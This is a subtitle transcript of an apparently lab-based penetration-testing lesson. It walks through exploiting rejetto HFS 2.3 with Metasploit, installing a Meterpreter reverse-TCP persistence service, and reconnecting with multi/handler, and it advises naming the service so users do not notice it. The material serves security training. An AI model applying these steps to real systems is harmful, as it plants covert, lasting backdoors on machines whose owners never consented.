WEBVTT

00:00:00.000 --> 00:00:10.140 align:middle line:90%


00:00:10.140 --> 00:00:12.540 align:middle line:84%
Establishing
Persistence on Windows.

00:00:12.540 --> 00:00:14.280 align:middle line:84%
In this video, we
will be exploring

00:00:14.280 --> 00:00:17.940 align:middle line:84%
the process of essentially
establishing persistent access

00:00:17.940 --> 00:00:19.770 align:middle line:90%
to your Windows targets.

00:00:19.770 --> 00:00:23.430 align:middle line:84%
So let's get a bit of an
introduction as to what

00:00:23.430 --> 00:00:24.660 align:middle line:90%
persistence is.

00:00:24.660 --> 00:00:28.110 align:middle line:84%
So persistence essentially
consists of techniques

00:00:28.110 --> 00:00:29.880 align:middle line:84%
that adversaries
or attackers use

00:00:29.880 --> 00:00:33.390 align:middle line:84%
to keep access to
systems across restarts,

00:00:33.390 --> 00:00:36.420 align:middle line:84%
changed credentials, and
other interruptions that

00:00:36.420 --> 00:00:38.160 align:middle line:90%
could cut off their access.

00:00:38.160 --> 00:00:40.230 align:middle line:84%
So what we're
trying to do here is

00:00:40.230 --> 00:00:43.380 align:middle line:84%
we are trying to ensure that
once we have gained access

00:00:43.380 --> 00:00:46.560 align:middle line:84%
to a target system, that we
continue to maintain access

00:00:46.560 --> 00:00:48.780 align:middle line:84%
to the target
system irregardless

00:00:48.780 --> 00:00:52.050 align:middle line:84%
of whether the system goes
through a restart, irregardless

00:00:52.050 --> 00:00:55.920 align:middle line:84%
of whether the system is shut
down for a long period of time

00:00:55.920 --> 00:00:59.190 align:middle line:84%
and then turns back on,
irregardless of whether or not

00:00:59.190 --> 00:01:00.540 align:middle line:90%
credentials have been changed.

00:01:00.540 --> 00:01:03.130 align:middle line:84%
So, again, in the
previous video,

00:01:03.130 --> 00:01:05.430 align:middle line:84%
we explored the
process of utilizing

00:01:05.430 --> 00:01:09.330 align:middle line:84%
NTLM hashes to essentially
authenticate or to perform

00:01:09.330 --> 00:01:11.410 align:middle line:90%
in authenticated code execution.

00:01:11.410 --> 00:01:15.150 align:middle line:84%
However, if the credentials or
passwords have been changed,

00:01:15.150 --> 00:01:17.010 align:middle line:90%
the hashes will also change.

00:01:17.010 --> 00:01:21.240 align:middle line:84%
And we also need to ensure that
when the system is restarted

00:01:21.240 --> 00:01:25.030 align:middle line:84%
or when the system is shut
down and rebooted again,

00:01:25.030 --> 00:01:28.710 align:middle line:84%
that we still have access
to the target system,

00:01:28.710 --> 00:01:31.650 align:middle line:84%
primarily through a
Meterpreter session,

00:01:31.650 --> 00:01:34.470 align:middle line:84%
but we also need to
ensure that we're not

00:01:34.470 --> 00:01:37.110 align:middle line:84%
relying on the actual
vulnerable service

00:01:37.110 --> 00:01:40.590 align:middle line:84%
that we have exploited in order
to gain our initial foothold.

00:01:40.590 --> 00:01:44.790 align:middle line:84%
So after you gain an initial
foothold on the target system,

00:01:44.790 --> 00:01:47.340 align:middle line:84%
you need to set up and
maintain persistent access

00:01:47.340 --> 00:01:48.300 align:middle line:90%
to your targets.

00:01:48.300 --> 00:01:50.970 align:middle line:84%
And the technique we will
be exploring in this video

00:01:50.970 --> 00:01:53.820 align:middle line:84%
is the process of setting
up a persistent service

00:01:53.820 --> 00:01:57.510 align:middle line:84%
on the target system that
will constantly be running.

00:01:57.510 --> 00:02:00.420 align:middle line:84%
And what that means is that
if we lose our Meterpreter

00:02:00.420 --> 00:02:03.810 align:middle line:84%
session, we can get it back
almost instantaneously,

00:02:03.810 --> 00:02:05.880 align:middle line:84%
as long as the
persistent service is

00:02:05.880 --> 00:02:07.630 align:middle line:90%
running on the target system.

00:02:07.630 --> 00:02:10.560 align:middle line:84%
So we don't have to rely
on exploiting a service

00:02:10.560 --> 00:02:14.250 align:middle line:84%
to gain access, and we don't
have to rely on credentials.

00:02:14.250 --> 00:02:16.890 align:middle line:84%
Once we've established,
persistence we

00:02:16.890 --> 00:02:19.740 align:middle line:84%
can essentially gain
access to the target system

00:02:19.740 --> 00:02:22.380 align:middle line:90%
whenever it's active or online.

00:02:22.380 --> 00:02:25.500 align:middle line:84%
So in order to
facilitate all of this,

00:02:25.500 --> 00:02:28.830 align:middle line:84%
we will be utilizing various
post-exploitation persistence

00:02:28.830 --> 00:02:29.410 align:middle line:90%
modules.

00:02:29.410 --> 00:02:32.550 align:middle line:84%
We are going to be
focused primarily on one,

00:02:32.550 --> 00:02:35.640 align:middle line:84%
and we'll be using it to ensure
that we always have access

00:02:35.640 --> 00:02:37.450 align:middle line:90%
to our target system.

00:02:37.450 --> 00:02:40.140 align:middle line:84%
So we can take a look
at how to do this.

00:02:40.140 --> 00:02:43.020 align:middle line:84%
All you need to do is just
fire up your lab environment

00:02:43.020 --> 00:02:44.590 align:middle line:90%
and we can get started.

00:02:44.590 --> 00:02:47.880 align:middle line:90%
So I'll see you within the lab.

00:02:47.880 --> 00:02:50.020 align:middle line:84%
All right, so I'm back
in the lab environment.

00:02:50.020 --> 00:02:52.710 align:middle line:84%
And in this case, we get
the target IP specified

00:02:52.710 --> 00:02:54.190 align:middle line:90%
for us, which is great.

00:02:54.190 --> 00:02:55.830 align:middle line:90%
So I'm just going to copy that.

00:02:55.830 --> 00:02:58.420 align:middle line:84%
And I'll open up a
terminal and, of course,

00:02:58.420 --> 00:03:00.100 align:middle line:90%
go through the startup process.

00:03:00.100 --> 00:03:02.490 align:middle line:84%
So I am going to zoom
in here a little bit.

00:03:02.490 --> 00:03:05.730 align:middle line:84%
And I'm going to start up the
PostgreSQL database service.

00:03:05.730 --> 00:03:08.700 align:middle line:84%
So I'm going to say
postgresql start.

00:03:08.700 --> 00:03:11.460 align:middle line:84%
And then we'll also
start up MSF console.

00:03:11.460 --> 00:03:12.930 align:middle line:90%
So I'll say msfconsole.

00:03:12.930 --> 00:03:13.890 align:middle line:90%
There we are.

00:03:13.890 --> 00:03:17.400 align:middle line:84%
And that will start up
the PostgreSQL database

00:03:17.400 --> 00:03:20.070 align:middle line:90%
server as well as MSF console.

00:03:20.070 --> 00:03:22.650 align:middle line:84%
So the first step will
involve exploiting the target

00:03:22.650 --> 00:03:25.110 align:middle line:84%
or gaining access to the
target, once we've gained access

00:03:25.110 --> 00:03:28.440 align:middle line:84%
to the target, we'll then
need to set up persistence.

00:03:28.440 --> 00:03:31.710 align:middle line:84%
So I'll create a workspace
here, and I'm just

00:03:31.710 --> 00:03:34.320 align:middle line:90%
going to call it Persistence.

00:03:34.320 --> 00:03:38.340 align:middle line:84%
And I'm going to set the global
variable for the RHOSTS option.

00:03:38.340 --> 00:03:41.670 align:middle line:84%
And I'm going to specify the
target IP address as the value

00:03:41.670 --> 00:03:42.300 align:middle line:90%
there.

00:03:42.300 --> 00:03:47.040 align:middle line:84%
That will save us from typing
in the target IP address

00:03:47.040 --> 00:03:49.680 align:middle line:90%
whenever we load any modules.

00:03:49.680 --> 00:03:52.800 align:middle line:84%
So once that is done, we can
perform a quick Nmap scan

00:03:52.800 --> 00:03:53.820 align:middle line:90%
on the target.

00:03:53.820 --> 00:03:56.220 align:middle line:84%
And we'll use the
db_nmap command

00:03:56.220 --> 00:03:59.250 align:middle line:84%
to perform the Nmap scan
from within the MSF console.

00:03:59.250 --> 00:04:01.050 align:middle line:84%
And this command
will consequently

00:04:01.050 --> 00:04:04.380 align:middle line:84%
save all the Nmap scan results
into the Metasploit Framework

00:04:04.380 --> 00:04:04.890 align:middle line:90%
database.

00:04:04.890 --> 00:04:07.260 align:middle line:84%
So we'll perform a
service scan, and I'll

00:04:07.260 --> 00:04:09.150 align:middle line:90%
paste in the target IP.

00:04:09.150 --> 00:04:12.730 align:middle line:84%
So I'm just going to wait
for this to complete.

00:04:12.730 --> 00:04:14.950 align:middle line:84%
All right, so the
Nmap scan is complete.

00:04:14.950 --> 00:04:17.100 align:middle line:84%
And as you can
see, on port 80, we

00:04:17.100 --> 00:04:20.070 align:middle line:84%
have the HTTP file
server version 2.3.

00:04:20.070 --> 00:04:23.710 align:middle line:84%
So that is the rejetto
HFS version 2.3,

00:04:23.710 --> 00:04:26.280 align:middle line:84%
which, again, we have
exploited previously,

00:04:26.280 --> 00:04:28.600 align:middle line:84%
and it really is very
simple at this point.

00:04:28.600 --> 00:04:32.440 align:middle line:84%
So we're just going to search
for the rejetto exploit module.

00:04:32.440 --> 00:04:33.020 align:middle line:90%
There we are.

00:04:33.020 --> 00:04:33.645 align:middle line:90%
That's the one.

00:04:33.645 --> 00:04:36.160 align:middle line:84%
That's the remote
command execution module.

00:04:36.160 --> 00:04:40.100 align:middle line:84%
So I'm going to say
use, paste it in there.

00:04:40.100 --> 00:04:43.460 align:middle line:84%
And we can set the
default payload

00:04:43.460 --> 00:04:45.476 align:middle line:84%
to
windows/x64/meterpreter/reverse

00:04:45.476 --> 00:04:46.953 align:middle line:90%
tcp.

00:04:46.953 --> 00:04:51.720 align:middle line:90%


00:04:51.720 --> 00:04:54.010 align:middle line:84%
And we can then show the
options for this module,

00:04:54.010 --> 00:04:55.720 align:middle line:90%
which are very few.

00:04:55.720 --> 00:04:58.260 align:middle line:84%
So the target IP
specified, the target port

00:04:58.260 --> 00:05:00.150 align:middle line:90%
is set up correctly.

00:05:00.150 --> 00:05:02.790 align:middle line:84%
We know that the
root-- or rather,

00:05:02.790 --> 00:05:07.260 align:middle line:84%
the actual TARGETURI as
to where HFS is installed

00:05:07.260 --> 00:05:09.640 align:middle line:84%
is on the root of
the web server.

00:05:09.640 --> 00:05:10.620 align:middle line:90%
So that's fine.

00:05:10.620 --> 00:05:13.170 align:middle line:84%
And we don't have an
SSL certificate there.

00:05:13.170 --> 00:05:15.880 align:middle line:84%
As for the payload
options, the LHOST IP

00:05:15.880 --> 00:05:17.830 align:middle line:84%
is specified for
us automatically.

00:05:17.830 --> 00:05:21.480 align:middle line:84%
However, we can also set that
manually by saying set LHOST

00:05:21.480 --> 00:05:24.490 align:middle line:84%
and then specifying the
Ethernet 1 interface.

00:05:24.490 --> 00:05:26.370 align:middle line:84%
And we can also
change the LPORT,

00:05:26.370 --> 00:05:27.862 align:middle line:90%
but I'm going to leave it as is.

00:05:27.862 --> 00:05:29.445 align:middle line:84%
And I'm just going
to type in exploit.

00:05:29.445 --> 00:05:40.300 align:middle line:90%


00:05:40.300 --> 00:05:42.500 align:middle line:84%
All right, so we get
our Meterpreter session.

00:05:42.500 --> 00:05:46.160 align:middle line:84%
So let's perform some
system enumeration here.

00:05:46.160 --> 00:05:50.080 align:middle line:84%
So we can see this is a Windows
Server 2012 R2 operating

00:05:50.080 --> 00:05:52.630 align:middle line:84%
system, or that's the actual
version of Windows running.

00:05:52.630 --> 00:05:55.480 align:middle line:84%
The target operating system
architecture is 64-bit.

00:05:55.480 --> 00:05:59.330 align:middle line:84%
And we have a 64-bit Meterpreter
session, which is great.

00:05:59.330 --> 00:06:01.330 align:middle line:84%
If we get our current
user privileges,

00:06:01.330 --> 00:06:02.920 align:middle line:84%
we can see that
we currently have

00:06:02.920 --> 00:06:06.160 align:middle line:84%
access as the administrator
user, which is very important.

00:06:06.160 --> 00:06:08.770 align:middle line:84%
Because in order to
set up assistance,

00:06:08.770 --> 00:06:11.140 align:middle line:84%
you will require
elevated privileges

00:06:11.140 --> 00:06:13.060 align:middle line:90%
or administrative privileges.

00:06:13.060 --> 00:06:15.280 align:middle line:84%
So that's something that
you need to keep in mind.

00:06:15.280 --> 00:06:18.640 align:middle line:84%
And that's why we actually
covered privilege escalation

00:06:18.640 --> 00:06:21.470 align:middle line:84%
on Windows first before we
actually got to this step.

00:06:21.470 --> 00:06:24.130 align:middle line:84%
So you will need
administrative access.

00:06:24.130 --> 00:06:28.810 align:middle line:84%
So now that we've gained access
to the target system, what

00:06:28.810 --> 00:06:32.590 align:middle line:84%
we need to do is ensure that
we can always get access

00:06:32.590 --> 00:06:34.870 align:middle line:84%
to the target system
without having

00:06:34.870 --> 00:06:39.160 align:middle line:84%
to exploit the vulnerable
service or the rejetto HTTP

00:06:39.160 --> 00:06:39.760 align:middle line:90%
file server.

00:06:39.760 --> 00:06:42.670 align:middle line:84%
Because we have to assume
that at some point,

00:06:42.670 --> 00:06:46.030 align:middle line:84%
that particular piece of
software or that service

00:06:46.030 --> 00:06:49.270 align:middle line:84%
will either be shut
down or will be disabled

00:06:49.270 --> 00:06:50.960 align:middle line:90%
or it will actually be patched.

00:06:50.960 --> 00:06:55.210 align:middle line:84%
So we cannot rely on a
vulnerable services in regards

00:06:55.210 --> 00:06:56.350 align:middle line:90%
to gaining access.

00:06:56.350 --> 00:06:58.630 align:middle line:84%
Once we've gained
access to a system,

00:06:58.630 --> 00:07:00.910 align:middle line:84%
we've got our lucky
break, so we need

00:07:00.910 --> 00:07:02.860 align:middle line:90%
to use that access very wisely.

00:07:02.860 --> 00:07:06.190 align:middle line:84%
So what we can do is put
this in the background, which

00:07:06.190 --> 00:07:07.360 align:middle line:90%
is what I'm going to do.

00:07:07.360 --> 00:07:11.468 align:middle line:84%
And we are going to search
for a specific type of module.

00:07:11.468 --> 00:07:12.760 align:middle line:90%
So we're going to say the type.

00:07:12.760 --> 00:07:16.570 align:middle line:84%
In this case, it's going to
be a post-exploitation module.

00:07:16.570 --> 00:07:19.900 align:middle line:84%
And we can then specify
the platform as Windows.

00:07:19.900 --> 00:07:23.260 align:middle line:84%
So what I'll do is I'll
just say the platform is

00:07:23.260 --> 00:07:24.490 align:middle line:90%
going to be Windows.

00:07:24.490 --> 00:07:27.820 align:middle line:84%
And the name of the modules
that we're interested in

00:07:27.820 --> 00:07:29.800 align:middle line:90%
are the persistence modules.

00:07:29.800 --> 00:07:30.880 align:middle line:90%
So I'll hit Enter.

00:07:30.880 --> 00:07:33.670 align:middle line:84%
And as you can see, we have
quite a few persistence modules

00:07:33.670 --> 00:07:34.270 align:middle line:90%
here.

00:07:34.270 --> 00:07:38.050 align:middle line:84%
Now, they all work differently
in regards to the techniques

00:07:38.050 --> 00:07:40.570 align:middle line:84%
that they use to establish
persistent access right.

00:07:40.570 --> 00:07:45.340 align:middle line:84%
So if I just zoom out
very briefly here,

00:07:45.340 --> 00:07:47.710 align:middle line:84%
you can see that under
the description here,

00:07:47.710 --> 00:07:51.880 align:middle line:84%
it essentially tells you what
this particular persistence

00:07:51.880 --> 00:07:53.870 align:middle line:90%
payload or exploit module does.

00:07:53.870 --> 00:07:58.930 align:middle line:84%
So in the case of the standard
persistence module here,

00:07:58.930 --> 00:08:02.140 align:middle line:84%
it says that this will establish
persistence via the Windows

00:08:02.140 --> 00:08:03.620 align:middle line:90%
Registry, which is great.

00:08:03.620 --> 00:08:06.670 align:middle line:84%
But, again, you really
cannot rely on that.

00:08:06.670 --> 00:08:08.770 align:middle line:84%
And that essentially
will allow you

00:08:08.770 --> 00:08:11.710 align:middle line:84%
to gain access to the target
system whenever it's restarted.

00:08:11.710 --> 00:08:14.350 align:middle line:84%
So that's something
that we cannot rely on.

00:08:14.350 --> 00:08:18.610 align:middle line:84%
We want something that
is constantly running

00:08:18.610 --> 00:08:22.780 align:middle line:84%
and that can provide us with
access whenever we lose access

00:08:22.780 --> 00:08:24.350 align:middle line:84%
or whenever we want
to gain access.

00:08:24.350 --> 00:08:26.620 align:middle line:84%
So the module that
we are looking for

00:08:26.620 --> 00:08:29.980 align:middle line:84%
is the persistence
service module.

00:08:29.980 --> 00:08:32.440 align:middle line:84%
Now, the persistence
service module

00:08:32.440 --> 00:08:35.559 align:middle line:84%
will essentially create
a persistent service

00:08:35.559 --> 00:08:39.850 align:middle line:84%
that will, again, be paired
with the Meterpreter payload.

00:08:39.850 --> 00:08:43.780 align:middle line:84%
And whenever we have a
listener or a multi handler up

00:08:43.780 --> 00:08:45.760 align:middle line:84%
and running, we should
be able to receive

00:08:45.760 --> 00:08:47.060 align:middle line:90%
a connection from the target.

00:08:47.060 --> 00:08:50.350 align:middle line:84%
So as you can see, here this is
the Windows Persistence Service

00:08:50.350 --> 00:08:51.290 align:middle line:90%
Installer.

00:08:51.290 --> 00:08:53.420 align:middle line:84%
So we'll use this
module in this case.

00:08:53.420 --> 00:08:54.880 align:middle line:90%
So I'm going to say use--

00:08:54.880 --> 00:08:58.690 align:middle line:84%
I'll say based in that
particular module there.

00:08:58.690 --> 00:09:01.970 align:middle line:84%
And we'll set the payload to
a 64-bit Meterpreter payload.

00:09:01.970 --> 00:09:04.660 align:middle line:84%
So I'm going to say set
the payload to Windows.

00:09:04.660 --> 00:09:11.930 align:middle line:84%
And I'm going to say x64
Meterpreter reverse_tcp

00:09:11.930 --> 00:09:14.280 align:middle line:90%
and I'll show the options.

00:09:14.280 --> 00:09:17.970 align:middle line:84%
And what we need to specify
now or what we can specify

00:09:17.970 --> 00:09:22.350 align:middle line:84%
is the actual REMOTE_EXE name,
so this is the remote victim

00:09:22.350 --> 00:09:22.860 align:middle line:90%
name.

00:09:22.860 --> 00:09:26.138 align:middle line:84%
And we can also specify
the REMOTE_EXE path.

00:09:26.138 --> 00:09:28.680 align:middle line:84%
In this case, we're not going
to be specifying those options.

00:09:28.680 --> 00:09:30.700 align:middle line:90%
We can specify a service name.

00:09:30.700 --> 00:09:33.870 align:middle line:84%
So in this case, you may
want to make the service

00:09:33.870 --> 00:09:36.660 align:middle line:90%
look as legitimate as possible.

00:09:36.660 --> 00:09:39.780 align:middle line:84%
Because users on
the system may be

00:09:39.780 --> 00:09:42.420 align:middle line:84%
able to detect your service
through the Task Manager.

00:09:42.420 --> 00:09:46.470 align:middle line:84%
So you can probably
specify a service name

00:09:46.470 --> 00:09:49.230 align:middle line:84%
that blends in with the rest
of the Windows Services.

00:09:49.230 --> 00:09:50.860 align:middle line:84%
And then we need
to set the session.

00:09:50.860 --> 00:09:53.880 align:middle line:84%
So I'm going to set
the session to 1.

00:09:53.880 --> 00:09:57.570 align:middle line:84%
And I'm not going to customize
any of the other options.

00:09:57.570 --> 00:10:01.830 align:middle line:84%
We also can leave the
LPORT option as port 4444

00:10:01.830 --> 00:10:04.320 align:middle line:84%
because, again,
in this case, it's

00:10:04.320 --> 00:10:07.140 align:middle line:84%
not going to be
executing the payload

00:10:07.140 --> 00:10:09.060 align:middle line:84%
or giving us a
Meterpreter session.

00:10:09.060 --> 00:10:10.530 align:middle line:84%
It's essentially
going to allow us

00:10:10.530 --> 00:10:13.770 align:middle line:84%
to do that once we
set up our handler

00:10:13.770 --> 00:10:17.190 align:middle line:84%
and we terminate our current
Meterpreter session just

00:10:17.190 --> 00:10:19.290 align:middle line:90%
to show you that it will work.

00:10:19.290 --> 00:10:23.010 align:middle line:84%
So once we have used this
module or once we have set up

00:10:23.010 --> 00:10:26.130 align:middle line:84%
all the options,
what we can do now

00:10:26.130 --> 00:10:30.780 align:middle line:84%
is we can essentially just
hit run or exploit, whatever

00:10:30.780 --> 00:10:32.650 align:middle line:90%
is comfortable for you.

00:10:32.650 --> 00:10:36.220 align:middle line:90%
So I'll just type in exploit.

00:10:36.220 --> 00:10:38.320 align:middle line:84%
And as you can see here,
it says that it only

00:10:38.320 --> 00:10:43.090 align:middle line:84%
supports Windows Meterpreter
shell reversed stage payload.

00:10:43.090 --> 00:10:46.480 align:middle line:84%
So what we'll do is we
will set the payload here

00:10:46.480 --> 00:10:48.670 align:middle line:84%
to the 32-bit
Meterpreter payload.

00:10:48.670 --> 00:10:52.130 align:middle line:84%
So, again, it's
fairly simple to do.

00:10:52.130 --> 00:10:58.480 align:middle line:84%
So we are going to
say set the payload

00:10:58.480 --> 00:11:02.640 align:middle line:84%
to
windows/meterpreter/reverse_tcp,

00:11:02.640 --> 00:11:05.880 align:middle line:84%
because we can always upgrade
our Meterpreter session

00:11:05.880 --> 00:11:07.680 align:middle line:90%
to a 64-bit session.

00:11:07.680 --> 00:11:09.015 align:middle line:90%
And then we'll type in exploit.

00:11:09.015 --> 00:11:11.770 align:middle line:90%


00:11:11.770 --> 00:11:13.940 align:middle line:84%
All right, so it gives us
the Meterpreter session.

00:11:13.940 --> 00:11:18.100 align:middle line:84%
So, again, if I just
say get user ID,

00:11:18.100 --> 00:11:20.110 align:middle line:84%
there we are, NT
AUTHORITY SYSTEM.

00:11:20.110 --> 00:11:22.800 align:middle line:84%
And if I terminate
my session now

00:11:22.800 --> 00:11:25.320 align:middle line:84%
and if I list out my
previous sessions,

00:11:25.320 --> 00:11:27.090 align:middle line:84%
you can see that we
still have session 1.

00:11:27.090 --> 00:11:30.060 align:middle line:84%
So I'm going to say
sessions kill, so I'm going

00:11:30.060 --> 00:11:32.340 align:middle line:90%
to kill all of the sessions.

00:11:32.340 --> 00:11:35.880 align:middle line:84%
And now, you can see that
we don't have access at all.

00:11:35.880 --> 00:11:41.910 align:middle line:84%
So the way we can get access or
gain back control of the target

00:11:41.910 --> 00:11:44.700 align:middle line:84%
system and obtain a
Meterpreter session

00:11:44.700 --> 00:11:46.980 align:middle line:90%
is by using the multi handler.

00:11:46.980 --> 00:11:50.400 align:middle line:84%
So I'm going to say
use multi/handler.

00:11:50.400 --> 00:11:53.160 align:middle line:84%
And I'm going to set the payload
to the payload we specified

00:11:53.160 --> 00:11:54.870 align:middle line:90%
for the persistence module.

00:11:54.870 --> 00:11:59.150 align:middle line:84%
So payload is going to be
windows/meterpreter/reverse_tcp.

00:11:59.150 --> 00:12:01.635 align:middle line:90%


00:12:01.635 --> 00:12:03.010 align:middle line:84%
And I'm going to
show the options

00:12:03.010 --> 00:12:07.990 align:middle line:84%
and make sure we configure the
LPORT and the LHOST options

00:12:07.990 --> 00:12:09.940 align:middle line:84%
to the values that
we had set up.

00:12:09.940 --> 00:12:13.000 align:middle line:84%
So I'm going to say
LHOST is Ethernet 1.

00:12:13.000 --> 00:12:15.190 align:middle line:84%
And then we're going
to leave LPORT as 4444,

00:12:15.190 --> 00:12:19.480 align:middle line:84%
because that is what we
specified for the persistence

00:12:19.480 --> 00:12:21.080 align:middle line:90%
module payload.

00:12:21.080 --> 00:12:24.460 align:middle line:84%
So we can then hit
run and hit Enter.

00:12:24.460 --> 00:12:26.140 align:middle line:84%
And as you can
see, we immediately

00:12:26.140 --> 00:12:27.560 align:middle line:90%
get a Meterpreter session.

00:12:27.560 --> 00:12:31.690 align:middle line:84%
So what's happening here is once
we installed the persistence

00:12:31.690 --> 00:12:35.110 align:middle line:84%
service, once we've installed
it, it's going to run

00:12:35.110 --> 00:12:38.590 align:middle line:84%
and it's going to continue
to run, even across restarts.

00:12:38.590 --> 00:12:42.790 align:middle line:84%
And as long as we have a multi
handler running or listening

00:12:42.790 --> 00:12:44.560 align:middle line:84%
for a connection
from the target,

00:12:44.560 --> 00:12:46.540 align:middle line:84%
we should be able to
receive a connection.

00:12:46.540 --> 00:12:48.310 align:middle line:84%
So you can see how
useful this is.

00:12:48.310 --> 00:12:52.960 align:middle line:84%
So, again, if I say exit
and then I hit run again,

00:12:52.960 --> 00:12:55.120 align:middle line:84%
you can see we get another
Meterpreter session.

00:12:55.120 --> 00:12:58.540 align:middle line:84%
So we can get as many as
required or we can get access

00:12:58.540 --> 00:13:00.530 align:middle line:84%
whenever we want,
which is excellent.

00:13:00.530 --> 00:13:04.150 align:middle line:84%
So the key thing here is
to always keep in mind

00:13:04.150 --> 00:13:07.570 align:middle line:84%
or take note of the
LHOST and LPORT options

00:13:07.570 --> 00:13:10.480 align:middle line:84%
you specified when
generating or specifying

00:13:10.480 --> 00:13:13.870 align:middle line:84%
the payload options for the
persistence service module.

00:13:13.870 --> 00:13:17.320 align:middle line:84%
So it's very important
that you keep that in mind.

00:13:17.320 --> 00:13:20.770 align:middle line:84%
And that is essentially how
to establish persistence

00:13:20.770 --> 00:13:21.850 align:middle line:90%
on the target system.

00:13:21.850 --> 00:13:23.920 align:middle line:84%
As I said, there's
multiple other techniques

00:13:23.920 --> 00:13:25.480 align:middle line:90%
that you can utilize.

00:13:25.480 --> 00:13:27.850 align:middle line:84%
But those techniques
really are unstable.

00:13:27.850 --> 00:13:29.770 align:middle line:84%
And in my experience,
this is probably

00:13:29.770 --> 00:13:32.830 align:middle line:84%
one of the best options
to begin with in terms

00:13:32.830 --> 00:13:37.970 align:middle line:84%
of setting up and maintaining
persistence on a target system.

00:13:37.970 --> 00:13:43.390 align:middle line:84%
So, again, even if I
exit from msfconsole

00:13:43.390 --> 00:13:46.900 align:middle line:84%
and I start up a new session
within a different workspace,

00:13:46.900 --> 00:13:49.480 align:middle line:84%
I can essentially go
through the same process

00:13:49.480 --> 00:13:52.570 align:middle line:84%
and always receive a connection
back from the target,

00:13:52.570 --> 00:13:54.490 align:middle line:84%
unless the
persistence service is

00:13:54.490 --> 00:13:56.180 align:middle line:90%
terminated for whatever reason.

00:13:56.180 --> 00:14:00.680 align:middle line:84%
So I can say use
multi/handler, set the payload

00:14:00.680 --> 00:14:03.620 align:middle line:84%
to
windows/meterpreter/reverse_tcp.

00:14:03.620 --> 00:14:07.310 align:middle line:90%


00:14:07.310 --> 00:14:13.230 align:middle line:84%
Set the LHOST to Ethernet
1, and then I hit run.

00:14:13.230 --> 00:14:13.785 align:middle line:90%
There we are.

00:14:13.785 --> 00:14:15.330 align:middle line:84%
We get another
Meterpreter session.

00:14:15.330 --> 00:14:19.020 align:middle line:84%
So it really, really is a
very, very cool technique

00:14:19.020 --> 00:14:20.550 align:middle line:90%
that works extremely well.

00:14:20.550 --> 00:14:23.700 align:middle line:84%
So that is going
to be it in regards

00:14:23.700 --> 00:14:26.535 align:middle line:84%
to the practical demonstration
side of this video.

00:14:26.535 --> 00:14:29.170 align:middle line:90%


00:14:29.170 --> 00:14:31.260 align:middle line:84%
In the next video,
we will be exploring

00:14:31.260 --> 00:14:34.920 align:middle line:84%
the process of enabling
RDP on a Windows target

00:14:34.920 --> 00:14:38.760 align:middle line:84%
and consequently accessing
the target via RDP.

00:14:38.760 --> 00:14:42.290 align:middle line:84%
So I'll see you
in the next video.

00:14:42.290 --> 00:14:43.000 align:middle line:90%